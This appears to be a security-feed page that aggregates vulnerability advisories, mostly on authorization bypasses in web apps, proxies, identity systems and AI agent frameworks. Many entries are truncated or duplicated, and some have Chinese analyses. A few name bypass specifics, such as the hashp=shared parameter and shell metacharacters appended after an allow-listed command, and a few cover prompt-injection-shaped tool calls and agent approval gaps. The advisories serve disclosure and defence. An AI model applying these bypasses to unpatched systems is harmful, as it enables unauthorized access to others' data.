共收录 1424 条相关安全情报。
← 返回所有主题On affected platforms running Arista EOS with IS-IS graceful restart enabled, an unauthenticated attacker who can inject a malformed IS-IS LSP PDU packet can cause the IS-IS graceful restart procedure to terminate prematurely. This may result in traffic loss following a restart event.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Netcore NR255-V version 1.5.130703 contains a sensitive information disclosure vulnerability in the mod_qos_bandwidth plan.json handling within filter_conns_dump_cgi.c and IGD_CgiCall.c. Authenticated users with broad roles can access these QoS read routes to obtain live network telemetry beyond their intended privilege level.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
On affected platforms running Arista EOS with IS-IS graceful restart enabled, an unauthenticated attacker who can inject a malformed IS-IS LSP PDU packet can cause the IS-IS graceful restart procedure to terminate prematurely. This may result in traffic loss following a restart event.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Netcore NR255-V version 1.5.130703 contains a sensitive information disclosure vulnerability in the mod_qos_bandwidth plan.json handling within filter_conns_dump_cgi.c and IGD_CgiCall.c. Authenticated users with broad roles can access these QoS read routes to obtain live network telemetry beyond their intended privilege level.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Core in Google Chrome on on Windows prior to 153.0.8010.47 allowed a local attacker to execute arbitrary code outside the sandbox via a local program. (Chromium security severity: High)
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in WebUI in Google Chrome prior to 153.0.8010.47 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in WebUI in Google Chrome prior to 153.0.8010.47 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Core in Google Chrome on on Windows prior to 153.0.8010.47 allowed a local attacker to execute arbitrary code outside the sandbox via a local program. (Chromium security severity: High)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary @zereight/mcp-gitlab exposes GitLab to an LLM agent while relying on read-only mode, a project allow-list, and transport auth as its safety controls. Five defects defeat those controls. Under the MCP threat model, tool-call arguments/content can be shaped by untrusted input (prompt injection) or a malicious client. Reviewed commit: 60adcc0de5b0e96c4c2029f7a25d2775946421d8 (package ver
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Server-Side Request Forgery (SSRF) in the VMware synchronization feature in Devolutions Server 2026.2.16 and earlier allows a low-privileged authenticated user to obtain other users' credentials and reach internal or cloud-metadata network endpoints via a crafted connection definition submitted for datacenter discovery.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 15.7 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that under certain conditions could have allowed an authenticated user to access CI/CD variables outside their intended environment scope due to improper input validation in the environment scope pattern matcher.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Coder allows organizations to provision remote development environments via Terraform. Prior to 2.29.19, 2.32.9, 2.33.10, and 2.34.4, agentConn.apiClient() follows redirects while its custom transport accepts the host from the redirected request URL when the port is the workspace agent HTTP API port 4. An authenticated user who controls a modified workspace agent and knows another online agent's U
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Vikunja before 2.6.0 contains an API token scope bypass vulnerability in task read endpoints where authorization fails to inspect query string parameters. Attackers with limited token scopes can use the expand parameter to access restricted data like comments, reactions, and time entries without proper permission verification.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
ArcadeDB is a Multi-Model DBMS. Prior to 26.7.1, a reader-role user can submit POST /api/v1/command/{database} with language: js because PolyglotQueryEngine.command, PolyglotQueryEngine.analyze, and PolyglotQueryEngine.registerFunctions do not enforce database-administrator authorization. GraalPolyglotEngine also permits scripts to bypass the allowedPackages whitelist by reflecting from the bound
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Payload Plugins is a collection of plugins designed to enhance Payload CMS. In 0.7.0, @jhb.software/payload-alt-text-plugin exposes POST /api/alt-text-plugin/generate and POST /api/alt-text-plugin/bulk with a default guard that accepts any authenticated user, while alt-text/src/endpoints/generateAltText.ts and alt-text/src/endpoints/bulkGenerateAltTexts.ts call req.payload.findByID and req.payload
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenBao is an open source identity-based secrets management system. Prior to 2.5.5, an OpenBao user with access to sys/leases/revoke/:lease_id in one namespace could revoke a lease in another namespace when the foreign lease_id was known, bypassing namespace ACL isolation. The affected lease lookup routing in vault/expiration.go allowed FetchLeaseInfo and loadEntry to resolve cached or stored leas
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The OpenTelemetry Collector Contrib repository contains components for the OpenTelemetry Collector. Prior to 0.151.0, the githubreceiver validates the receiver/githubreceiver/config.go RequiredHeaders configuration at startup, but receiver/githubreceiver/trace_receiver.go handleReq() does not check those headers on incoming webhook requests. An unauthenticated sender can therefore bypass an operat
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Capsule is a multi-tenancy and policy-based framework for Kubernetes. From 0.13.0 until 0.13.6, charts/capsule/templates/configuration.yaml configures the validating webhook with namespace/finalize instead of the Kubernetes resource name namespaces/finalize. A user with namespaces/finalize RBAC can send a PUT request to /api/v1/namespaces/{namespace}/finalize, and the singular rule never matches t
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
ArcadeDB is a Multi-Model DBMS. Prior to 26.6.1, the fix for CVE-2026-44221 added an UPDATE_SCHEMA authorization check only to LocalDocumentType.createProperty, while the remaining public schema mutators in engine/src/main/java/com/arcadedb/schema/LocalDocumentType.java and engine/src/main/java/com/arcadedb/schema/LocalProperty.java remained unchecked. An authenticated identity, including a read-o
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An issue in RuoYi-Vue-Plus 6.0.0 allows a remote attacker to execute arbitrary code via the FlwTaskController.java component, and the FlwTaskServiceImpl.completeTask, CompleteExecuteComponent.process, Warm-Flow TaskService.skip, POST /workflow/task/completeTask components
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenBMC's IPMI implementation, phosphor-net-ipmid, is vulnerable to a logic flaw where the authorization context of an existing session can be replaced with a target account while still maintaining the original integrity and encryption keys. Several downstream vendors implement phosphor-net-ipmid as their IPMI stack, such as NVIDIA and H3C. This issue effectively allows for privilege escalation wi
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Casdoor through 4.4.0 contains an authorization bypass vulnerability in the /api/mcp endpoint that allows attackers with any application's clientId and clientSecret to gain unrestricted access to user administration across all organizations. Attackers can enumerate user records including password salts and email addresses, create administrator accounts, modify existing users, and delete them in an
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
PraisonAI is a multi-agent teams system. From 1.4.0 until 1.7.2, createAgentLoop() in src/praisonai-ts/src/ai/agent-loop.ts passes executable tools to generateText() before invoking the onToolCall approval callback. Because the wrapped AI SDK executes tool handlers during generation, a callback that returns false records tool_rejected only after the denied tool has already produced side effects an
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
PraisonAI is a multi-agent teams system. From 1.2.3 until 1.7.2, CommandValidator in src/praisonai-ts/src/cli/features/sandbox-executor.ts validates only the first whitespace-delimited executable against allowedCommands, then SandboxExecutor passes the complete command string to sh -c. A command beginning with an allowed executable can append a non-allowlisted command through shell metacharacters,
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
PraisonAI is a multi-agent teams system. From 1.5.1 until 1.7.2, MCPSecurity.evaluatePolicy() in src/praisonai-ts/src/mcp/security.ts invokes the configured credential validator only when AuthMethod is api-key or bearer. Basic and OAuth policies accept any non-empty Authorization header without calling auth.validate(), then return an authenticated result, allowing callers with invalid credentials
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
PraisonAI is a multi-agent teams system. From 1.5.1 until 1.7.2, the shell() helper exported from src/praisonai-ts/src/tools/utility-tools.ts checks only the first whitespace-delimited token against safeCommands and then passes the complete original string to child_process.exec(). A string that starts with an allowed read-only command can append a second non-allowlisted command through shell synta
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Kimai is an open-source time tracking application. Prior to 2.57.0, the GET /api/timesheets list endpoint accepts user and users[] target identifiers from a caller with view_other_timesheet but does not apply access_user or verify that a ROLE_TEAMLEAD requester leads a team containing each target user. TimesheetController::cgetAction() adds the resolved users directly to the query while project an
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Affected versions of MISP incorrectly filter dashboard templates that are restricted to a specific permission flag. DashboardsController::listTemplates() allowed a template when either: - its restrict_to_permission_flag matched one of the current user’s permission flags, or - restrict_to_permission_flag equaled integer 0 However, restrict_to_permission_flag is a varchar. MySQL theref
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In affected versions of Octopus Server, users with certain scoped permission sets could execute arbitrary scripts on a worker (including the Octopus Server built-in worker). Incorrect permission validation during script execution would allow the script to execute without the user possessing the required authorisation.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost versions 11.9.x <= 11.9.0, 11.8.x <= 11.8.4, 11.7.x <= 11.7.7, 10.11.x <= 10.11.22 Fail to sanitize Team objects returned by the data retention teams endpoint which allows an authenticated user holding only the read-only Data Retention Policy permission to obtain a private team's secret invite_id and email, and use it to join the team without authorization, via GET /api/v4/data_retentio
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A security vulnerability has been detected in a2aproject a2a-java 1.2.0. The impacted element is the function AuthorizationRequestHandlerDecorator.onListTasks of the file server-common/src/main/java/org/a2aproject/sdk/server/requesthandlers/AuthorizationRequestHandlerDecorator.java. Such manipulation leads to missing authorization. The attack can be launched remotely. Upgrading to version 1.3.0 is
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An authorization issue was addressed with improved state management. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27. An app may be able to access sensitive user data.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An authorization issue was addressed with improved state management. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27, watchOS 27. An app may gain unauthorized access to Bluetooth.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An authorization issue was addressed with improved state management. This issue is fixed in iOS 18.7.10 and iPadOS 18.7.10, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.7.8, macOS Sonoma 14.8.8. A malicious application may be able to bypass Privacy preferences.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A permissions issue was addressed with improved validation. This issue is fixed in Xcode 27, macOS Golden Gate 27. An app may be able to access user-sensitive data.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An authorization issue was addressed with improved validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, watchOS 27. An app may be able to access motion data from headphones without user consent.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A flaw was found in PackageKit. PackageKit skips the polkit authorization check for transactions carrying the SIMULATE (dry-run) flag. In the dnf5 backend, the RepoRemove handler ignores that contract and always executes the real transaction because its guard is written as (role == REPO_REMOVE || !SIMULATE), which is always true for RepoRemove. An unprivileged local user can therefore perform a ge
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
starlette-admin versions 0.16.1 through 0.17.1 fail to enforce the searchable_fields allowlist when configured as an empty list, allowing authenticated users to filter on non-searchable fields. Attackers can submit structured filter queries via the list API's where parameter to perform equality and comparison operations on excluded columns.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
CVE-2026-89267 涉及 Python 生态中常用的 Starlette 后台管理框架扩展 starlette-admin。该框架允许开发者通过配置项 searchable_fields 声明哪些模型字段可以被前端搜索/过滤, 以此作为一道字段级访问控制白名单。问题出现在 0.16.1 至 0.17.1 这几个版本中: 当管理员把 searchable_fields 显式配置为空列表 (即意图表达“任何字段都不允许被搜索过滤”) 时, 框架没有正确执行这一白名单约束, 而是把空列表当成了“未设置”或“不过滤”处理, 从而未能对字段做任何限制。 具体而言, 该缺陷的触发路径是列表查询接口的 where 参数。starlette-admin 的列表 API 支持接收结构化的过滤查询 (structured filter query), 攻击者可以在该参数中构造针对任意字段的等值 (equality) 与比较 (comparison) 操作。由于空列表场景下白名单校验被绕过, 这些操作会被直接翻译为数据库查询条件并作用于那些本应被排除在可搜索范围之外的列。 从攻击条件看, 利用者需要是已通过身份认证的用户 (CVSS 向量中 PR:L, 权限要求为低), 且通过网络远程访问该管理后台接口 (AV:N), 不需要用户交互 (UI:N), 影响范围局限于自身组件 (S:U)。造成的后果是机密性受到有限影响 (C:L), 即攻击者可以借助逐字段、逐值的布尔型查询 (类似盲注式的推断), 从本不可搜索的列中推断出数据内容, 例如用户邮箱、内部标识、状态字段或其它敏感属性; 这不涉及完整性或可用性破坏 (I:N/A:N), 因此 NVD 给出的 CVSS 3.1 基础评分为 4.3, 属于中等风险。 修复思路是在配置为空列表时同样严格执行白名单语义, 即将“空”视为“无任何字段可被过滤”的强约束, 并在服务端对 where 参数中出现的字段名做统一的允许性校验, 拒绝任何不在白名单内的字段参与查询构造。防御方应在受影响版本区间内尽快升级到已修复版本; 若短期内无法升级, 可考虑撤销或收紧非必要账号对管理后台列表接口的访问权限、仅向可信网络段暴露后台、并审计管理接口日志中异常或高频的过滤请求。值得强调的是, 目前公开元数据中并未提供该漏洞已被在野利用的证据。
💡 影响/原因: starlette-admin 是常见的后台管理组件, 该缺陷使“空白名单”这一显式安全配置实际失效, 已认证的低权限用户可借过滤接口对未授权字段做等值与比较查询, 逐步推断敏感数据。CVSS 4.3 属中危, 不涉及完整性与可用性, 但暴露了后台字段级访问控制的设计缺陷, 需尽快升级或收紧后台暴露面。
An issue was discovered in OpenStack Keystone before 29.0.3. Tokens obtained via delegated authentication methods (EC2 credentials, application credentials, OAuth1 access tokens, and trusts) are not blocked from creating, modifying, or deleting credentials via the /v3/credentials API. EC2-derived tokens can additionally read credential blobs, exposing TOTP MFA seeds and other secrets. Also, PATCH
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The application's role-authorization lookup defaults to granting access when a request handler's name is not present in its table of role requirements, rather than defaulting to deny. Any request handler that is not explicitly registered in this table is reachable by any authenticated user regardless of their assigned role, and any newly added handler is fail-open by default until explicitly added
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
本漏洞影响 OpenStack Keystone 29.0.3 之前的版本，核心问题在于 Keystone 的授权模型没有对“委托认证（delegated authentication）”派生出来的令牌施加与普通用户令牌同等的权限约束。通过 EC2 凭证（EC2 credentials）、应用凭证（application credentials）、OAuth1 访问令牌以及信任（trusts）这四类委托机制签发的令牌，本应只代表受限的、被代持的身份，但实际却可以调用 /v3/credentials API 去创建、修改和删除凭证对象，从而绕过原有的权限边界。更严重的是，由 EC2 凭证派生出的令牌还能读取凭证 blob 的内容，而这类 blob 中通常存放着 TOTP 多因子认证种子以及其它长期密钥，一旦被读取即可用于伪造一次性口令、绕过多因子认证并进一步横向移动。此外，PATCH /v3/credentials 接口在更新凭证时没有校验请求体里更新后的 project_id 是否属于调用者被授权的项目范围，导致任意持有委托令牌的主体都可以把某个凭证“搬移”到自己无权访问的项目中，实现跨项目越权与资源窃取。综合来看，这是一个典型的授权校验缺失（broken access control）问题：读取路径泄露秘密，写入路径允许越权篡改与迁移，二者叠加可造成凭证生命周期被完全接管。所有启用了委托认证功能的 Keystone 部署都受影响，NVD 元数据中未提供 CVSS 分值与 EPSS 分值，也未被列入 KEV 或标注在野利用，因此当前严重性判断基于漏洞机理本身。
💡 影响/原因: 委托令牌本应受限，却可读写 /v3/credentials：EC2 派生令牌能读取含 TOTP MFA 种子的凭证 blob，直接威胁多因子认证有效性；PATCH 未校验 project_id 还允许跨项目搬移凭证。凡启用委托认证的 Keystone 部署均受影响，属授权绕过类高风险问题。
该漏洞是应用程序角色授权判定逻辑中的默认放行 (fail-open) 缺陷,属于典型的失效访问控制 (Broken Access Control) 问题。应用程序内部维护了一张「请求处理器名称 → 所需角色」的授权映射表,在收到请求时依据该表判断调用者角色是否满足要求。问题在于:当某个请求处理器的名称并未出现在这张表中时,授权逻辑的默认分支选择了「授予访问」,而不是「拒绝访问」。这一默认值带来了两个直接后果。第一,任何没有被显式登记进角色需求表的请求处理器,只要调用方通过了身份认证,就可以被访问,与其被分配的实际角色完全无关——角色体系对这些处理器形同虚设,普通低权限账号与管理员账号在可达面上没有区别。第二,也是更隐蔽的一点,后续新增的请求处理器在开发者把一个条目显式写入该表之前,天然处于 fail-open 状态;也就是说,任何一次「忘记登记」都会静默地产生一个新的未授权访问入口,而且不会有报错、不会中断业务,通常也难以在功能测试中被发现。从设计原则看,该缺陷把「未定义」错误地等同为「无需授权」,违背了访问控制必须默认拒绝 (deny-by-default / fail-secure) 的基本要求。修复方向是把默认分支翻转为拒绝,并确保授权表中未命中的处理器一律返回无权访问。由于元数据未提供 CVSS、EPSS、受影响产品或厂商信息,当前无法量化具体影响范围与利用难度。
💡 影响/原因: 默认放行意味着任何漏登记的接口都成为静默的未授权入口,低权限账号可越权访问,且新增功能默认不安全。此类缺陷不产生报错、难以被功能测试发现,是横向越权与权限提升的温床,应优先排查与修复。
Dolibarr 23.0.4 before 24.0.1 ontains an authorization bypass vulnerability that allows unauthenticated attackers to read arbitrary files through the document storage endpoints by supplying a crafted hashp parameter value. Attackers can send a request with hashp=shared to skip token validation while satisfying the authorization condition in htdocs/document.php and htdocs/viewimage.php, gaining acc
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Forgejo before 16.0.4 allows use of restricted API tokens for unintended access to the "allow maintainer edit" feature.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
strongSwan 4.5.0 through 6.0.7 has Incorrect Access Control in the eap-ttls and eap-peap plugins because there can be a missing or mismatched inner EAP identity.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Forgejo before 16.0.4 allows use of restricted API tokens for unintended access to the "allow maintainer edit" feature.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
strongSwan 4.5.0 through 6.0.7 has Incorrect Access Control in the eap-ttls and eap-peap plugins because there can be a missing or mismatched inner EAP identity.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
IBM App Connect Enterprise 13.0.1.0 through 13.0.8.1, and 12.0.1.0 through 12.0.12.27 could allow a remote authenticated attacker to bypass security restrictions due to incorrect authorization.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Concrete CMS below 9.5.3 stores user validation hashes for multiple purposes (email/registration validation, password reset, and persistent login) in a single table with a type column, but the redemption path resolves a hash by value alone and does not verify its type. As a result, a hash issued for one purpose can be redeemed for another: a long-lived registration hash (60-day expiry) can be subm
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary Open WebUI's OAuth token exchange endpoint issues a session for a provider access token without running the OAuth role management that the normal OAuth login callback runs. A user whose provider roles the login callback would refuse, or would demote, could still obtain a working session at their existing role through this endpoint. ## Preconditions - `ENABLE_OAUTH_TOKEN_EXCHANGE=True`.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary There is a high-severity request-smuggling vulnerability in Traefik's handling of the HTTP/1.1 `Upgrade` mechanism. Since Traefik moved to unencrypted HTTP/2 with prior knowledge (Go 1.24), a client-initiated `Upgrade: h2c` request header and its connection-specific `HTTP2-Settings` header were forwarded to the backend. A backend that honours the h2c upgrade and answers `101 Switching
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary Traefik's HTTP/3 request path did not initialize the connection-scoped backend transport holder that isolates connection-bound NTLM and Negotiate (Kerberos) authentication on the HTTP/1.1 and HTTP/2 paths. The HTTP/3 entrypoint reuses the HTTPS handler chain and reaches the same backend round-tripper, but its `ConnContext` never called `service.AddTransportOnContext`, so `kerberosRound
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary `serve/start` accepts protocol options in a per-server `proxyOpt` object. The FTP and S3 RC adapters parse that object and pass it to their server constructors, but the constructors decide whether proxy authentication is enabled by checking the process-global `proxy.Opt.AuthProxy` instead of the supplied `proxyOpt.AuthProxy`. When the process-global option is empty—the normal case whe
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary A user who is demoted from admin by an identity provider keeps admin-level read and write access to every user's notes, over any Socket.IO connection that was already open when the demotion happened. Open WebUI caches the user's role on the socket at connection time, and the two SSO role-sync paths, the reverse-proxy trusted role header and OAuth role mapping, changed the role in the d
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission ### Summary `@jhb.software/payload-alt-text-plugin` v0.7.0 exposes custom Payload CMS endpoints (`POST /api/alt-text-plugin/generate` and `/bulk`) that call the Payload Local API (`findByID` and `update`) without setting `overrideAccess: false`. Because Payload's internal logic evaluates `shouldOverrideAcce
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
IBM App Connect Enterprise 13.0.1.0 through 13.0.8.1, and 12.0.1.0 through 12.0.12.27 could allow a remote authenticated attacker to bypass security restrictions due to incorrect authorization.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Impact The OAuth token endpoint bound an authorization code's first access token to the consented resource, but not its refresh token. Refreshing only checked that the requested resource was registered, not that it matched the original grant. An OAuth client approved for one workflow could refresh with a different workflow's URL and get a valid, unapproved token for it. The patch binds refresh
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
IBM Langflow OSS 1.0.0 through 1.11.5 Langflow could allow an unauthenticated attacker to execute arbitrary code and access or modify chat sessions through publicly shared MCP project endpoints due to improper enforcement of public-flow security restrictions and session isolation controls.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Consul and Consul Enterprise are vulnerable to an authorization bypass in the catalog deregistration path that may allow a local ACL token to delete peer-imported catalog objects. A caller with {{service:write}} or {{node:write}} permission may exploit this issue to remove services, checks, or nodes imported from a peered cluster without holding authority over the peer origin. This vulnerability (
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Consul and Consul Enterprise are vulnerable to an authorization bypass in the catalog node-write path that may allow an authenticated attacker to delete another node's catalog registration and take over its node identity. An attacker with a token granting node-write permission on any single node name may exploit this issue if they can obtain the node ID of a node they do not control. This vulnerab
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.70.0 until 1.75.1, the serve/start RC interface accepts per-server proxyOpt.AuthProxy settings, and the FTP and S3 constructors in cmd/serve/ftp/ftp.go and cmd/serve/s3/server.go incorrectly check the process-global proxy.Opt.AuthProxy value instead. When the global value is empty,
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
knowns through 0.33.0 exempts the project.set action from permission guard checks unconditionally, allowing read-only agent sessions to bypass restrictions. Attackers can invoke project.set to repoint the server at another project directory and obtain write access capabilities.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.70.0 until 1.75.1, the serve/start RC interface accepts per-server proxyOpt.AuthProxy settings, and the FTP and S3 constructors in cmd/serve/ftp/ftp.go and cmd/serve/s3/server.go incorrectly check the process-global proxy.Opt.AuthProxy value instead. When the global value is empty,
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
knowns through 0.33.0 exempts the project.set action from permission guard checks unconditionally, allowing read-only agent sessions to bypass restrictions. Attackers can invoke project.set to repoint the server at another project directory and obtain write access capabilities.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Traefik is an open source HTTP reverse proxy and load balancer. From 2.11.26 until 2.11.57 and 3.7.13, Traefik forwards a client-supplied Connection header requesting Upgrade, the Upgrade: h2c token, and HTTP2-Settings to a shared backend. If the backend accepts h2c and returns 101 Switching Protocols, Traefik enters a raw tunnel and no longer applies routers, BasicAuth, ForwardAuth, IPAllowList,
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Traefik is an open source HTTP reverse proxy and load balancer. From 2.11.0 until 2.11.57 and 3.7.13, the HTTP/3 entrypoint ConnContext does not call service.AddTransportOnContext, so kerberosRoundTripper uses a shared backend transport instead of a transport dedicated to each frontend connection. With HTTP/3 enabled, a backend using connection-bound NTLM or Negotiate authentication, and backend k
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.8.0 until 0.11.1, Open WebUI's OAuth token exchange endpoint issues a session for a provider access token without running the OAuth role management that the normal OAuth login callback runs. A user whose provider roles the login callback would refuse, or would demote, could still obtain a working session a
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.8.0 until 0.9.0, Open WebUI's OAuth token exchange endpoint issues a session for a provider access token without applying the email domain allowlist that the normal OAuth login callback enforces. An account whose email domain the login callback would refuse could still obtain a working session through this
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Traefik is an open source HTTP reverse proxy and load balancer. From 2.11.26 until 2.11.57 and 3.7.13, Traefik forwards a client-supplied Connection header requesting Upgrade, the Upgrade: h2c token, and HTTP2-Settings to a shared backend. If the backend accepts h2c and returns 101 Switching Protocols, Traefik enters a raw tunnel and no longer applies routers, BasicAuth, ForwardAuth, IPAllowList,
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Traefik is an open source HTTP reverse proxy and load balancer. From 2.11.0 until 2.11.57 and 3.7.13, the HTTP/3 entrypoint ConnContext does not call service.AddTransportOnContext, so kerberosRoundTripper uses a shared backend transport instead of a transport dedicated to each frontend connection. With HTTP/3 enabled, a backend using connection-bound NTLM or Negotiate authentication, and backend k
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.8.0 until 0.11.1, Open WebUI's OAuth token exchange endpoint issues a session for a provider access token without running the OAuth role management that the normal OAuth login callback runs. A user whose provider roles the login callback would refuse, or would demote, could still obtain a working session a
